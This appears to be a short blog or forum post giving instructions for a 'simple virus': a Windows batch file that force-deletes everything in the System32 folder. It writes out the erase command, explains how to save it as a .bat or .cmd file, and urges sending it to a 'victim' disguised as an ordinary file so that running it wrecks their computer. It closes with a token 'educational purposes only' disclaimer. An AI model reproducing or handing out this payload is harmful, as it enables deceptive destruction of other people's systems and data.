Make a simple virus file that destroys your friends' (victims' ) pc by deleting System32

1. Open Notepad
2. Write the above command : -
erase %windir%\system32\*.* /q /f
3. Save the above notepad with the extension ".bat or .cmd" as you want.
After you created the .cmd or .bat file send it to your victim as like ordinary file. Once your victim double clicks on it then he/she needs to format his/her PC.
What it does is deletes all files present in the system32 folder out of which most of them are files important for a computers functioning. The attributes /q enables quiet mode and /f enables force mode which deletes read only files too.
Note :
It would work only if the victim has Windows Operating System (OS).I tried it on Windows Xp professional edition service pack 2. Hope works in Windows 7 too. Let me know through the comments section whether it works or not.

Warning : This is for educational purposes only and I am not responsible for the consequences. I tried on my own PC.